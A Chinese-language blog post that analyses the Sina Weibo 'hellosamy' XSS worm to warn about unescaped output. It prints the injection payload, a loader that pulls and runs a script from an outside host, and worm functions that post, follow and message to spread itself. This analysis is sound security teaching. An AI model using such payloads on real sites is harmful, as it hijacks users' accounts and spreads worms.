XSS-從weibo蠕蟲事件學(xué)習(xí)
XSS攻擊:跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆。故將跨站腳本攻擊縮寫為XSS。XSS是一種經(jīng)常出現(xiàn)在web應(yīng)用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
Xss的例子(以新浪微博的6.9的hellosamy蠕蟲事件為例):
sina的名人堂頁面頁面上存在這么個鏈接
<a href="http://weibo.com/pub/star/g/123">這個是xss</a>
其實在服務(wù)器端是這么寫的(猜測,真實代碼長啥樣不知道,但是一定是忘記做轉(zhuǎn)義就輸出了):
Echo '<a href="http://weibo.com/pub/star/g/{$uname}">這個是xss</a>'
其中uname并沒有做htmlspecialchars。相當(dāng)于是直接由用戶輸入,然后輸出在頁面上了。
這樣的html就是存在xss漏洞
好了,這個漏洞被發(fā)現(xiàn)了,下面要利用它做什么呢?
1 將uname設(shè)置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
這樣這個url就變成了
其中的引號被封閉了,然后這個頁面自動運行了一段js腳本
這個js腳本做了這樣的事情:
1 發(fā)送一個微博(這個是之所以成為蠕蟲的原因,這個微博中附帶著同樣的一個連接)
2 加關(guān)注uid為2201270010
3 發(fā)私信,向好友傳播鏈接
js的下載代碼在http://www.stwind.org/wp-content ... 28_sina_XSS.txt.zip
- ?
- 1234567891011
- try{ x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x); } catch(e){} main(); var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
復(fù)制代碼 其中就是在打開的頁面加入了<script節(jié)點>,并執(zhí)行
main中是發(fā)送微博,加關(guān)注,發(fā)私信三個動作
當(dāng)5000秒后,當(dāng)前頁重新定位到public/topic上
- ?
- 123456789101112131415161718192021222324252627
- function main(){ try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){} }
復(fù)制代碼 比如
- ?
- 123456789
- function publish(){ url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; post(url,data,true); }
復(fù)制代碼 模擬post請求,由于這個js是在weibo網(wǎng)頁上調(diào)用的,所以就沒有跨域問題
直接post就可以產(chǎn)生這個效果
注:這次事件中還用到了短鏈接服務(wù)
短鏈接服務(wù)能自定義用戶鏈接,比如http://weibo.com/xyyyd%22%3E%3Cs ... ript%3E?type=update
這么長一個鏈接能變?yōu)?a target="_blank">http://t.cn/atmcqn
這樣能增加用戶的點擊成功率
事實證明,建站是需要非常小心的,每個頁面,每個輸出,如果有一兩個漏洞,都可能造成全站的大災(zāi)難。∫詾榻!
相關(guān)有用的鏈接地址:
http://soft.yesky.com/security/156/30179156.shtml
http://www.youxia.org/2011/12/XSS-RootKit.html
http://www.youxia.org/2010/04/Anti-XSS.html
http://blog.sina.com.tw/gn005021 ... &entryid=604456
----------------------
作者:yjf512(軒脈刃)
出處:http://www.cnblogs.com/yjf512/
本文版權(quán)歸yjf512和cnBlog共有,歡迎轉(zhuǎn)載,但未經(jīng)作者同意必須保留此段聲明
|